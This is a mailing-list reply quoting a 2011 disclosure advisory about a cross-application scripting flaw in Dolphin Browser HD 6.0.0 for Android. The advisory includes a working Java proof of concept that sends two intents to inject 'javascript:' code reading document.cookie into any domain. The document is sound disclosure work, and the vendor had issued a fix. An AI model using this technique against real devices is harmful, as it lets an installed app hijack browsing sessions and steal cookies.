Re: Advisory: Dolphin Browser HD Cross-Application Scripting

[adam <adam () papsy net>]

I'm hoping that #7 wasn't important. :(

On Tue, Sep 20, 2011 at 11:52 AM, Roee Hay <roeeh () il ibm com> wrote:

> 1 Background
> ============
> Android applications are executed in a sandbox environment, to ensure that
> no
> application can access sensitive information held by another, without
> adequate
> privileges. For example, the Dolphin browser application holds sensitive
> information such as cookies, cache and history, and this cannot be accessed
> by third-party apps. An android app may request specific privileges during
> its installation; if granted by the user, the app's capabilities are
> extended.
>
> Intents are used by Android apps for intercommunication. These objects can
> be
> broadcast, passed to the startActivity call (when an application starts
> another
> activity), or passed to the startService call (when an application starts a
> service). Normally, when startActivity is called, the target activity's
> onCreate method is executed. However, under AndroidManifest.xml it is
> possible
> to define different launch tags, which affect this behavior. One example is
> the
> singleTask launch tag, which makes the activity act as a singleton. This
> affects
> the startActivity call: if the activity has already been started when the
> call
> is made, the activity's onNewIntent member function is called instead of
> its
> onCreate method.
>
> 2 Vulnerability
> ===============
> A 3rd party application may exploit Dolphin Browser HD's URL loading
> process in
> order to inject JavaScript code into an arbitrary domain thus break
> Android's
> sandboxing. This can be done by sending two consecutive startActivity
> calls. The
> first call includes the attacked domain, and causes Dolphin Browser HD to
> load
> it, while the second call contains JavaScript code. the JavaScript URI will
> be
> opened under the current tab, i.e. the attacked domain.
>
> 3 Impact
> ========
> By exploiting this vulnerability a malicious, non-privileged application
> may
> inject JavaScript code into the context of any domain; therefore, this
> vulnerability has the same implications as global XSS, albeit from an
> installed
> application rather than another website. Additionally, an application may
> install itself as a service, in order to inject JavaScript code from time
> to
> time into the currently opened tab, thus completely intercepting the user's
> browsing experience.
>
> 4 Proof-of-Concept
> ==================
> The following is a PoC for the second technique:
>
> public class CasExploit extends Activity
> {
>  static final String mPackage = "mobi.mgeek.TunnyBrowser";
>  static final String mClass =  "BrowserActivity";
>  static final String mUrl = "http://target.domain/";;
>  static final String mJavascript = "alert(document.cookie)";
>  static final int mSleep = 15000;
>
>  @Override
>  public void onCreate(Bundle savedInstanceState) {
>      super.onCreate(savedInstanceState);
>      setContentView(R.layout.main);
>      startBrowserActivity(mUrl);
>      try {
>          Thread.sleep(mSleep);
>      }
>      catch (InterruptedException e) {}
>      startBrowserActivity("javascript:" + mJavascript);
>
>  }
>
>  private void startBrowserActivity(String url) {
>      Intent res = new Intent("android.intent.action.VIEW");
>      res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass));
>      res.setData(Uri.parse(url));
>      startActivity(res);
>  }
>
> }
>
> 5 Vulnerable versions
> =====================
> Dolphin Browser HD 6.0.0 has been found vulnerable.
>
> 6 Vendor Response
> =================
> Dolphin Browser HD 6.1.0 has been released to Android Market, which
> incorporates
> a fix for this bug.
>
> 8 Credit
> ========
> * Roee Hay <roeeh () il ibm com>
> * Yair Amit <yairam () gmail com>
>
> 9 References
> ============
> * Original advisory: http://blog.watchfire.com/files/advisory-dolphin.pdf
> * Blog post:
>
> http://blog.watchfire.com/wfblog/2011/09/dolphin-browser-hd-cross-application-scripting.html
> * Demo of the PoC: http://youtu.be/1E0GzZPdpLM
> * Android Browser Cross-Application Scripting (CVE-2011-2357):
>  http://blog.watchfire.com/files/advisory-android-browser.pdf
>
> 10 Acknowledgments
> ==================
> We would like to thank the Dolphin Browser team for the efficient and quick
> way
> in which it handled this security issue.
>
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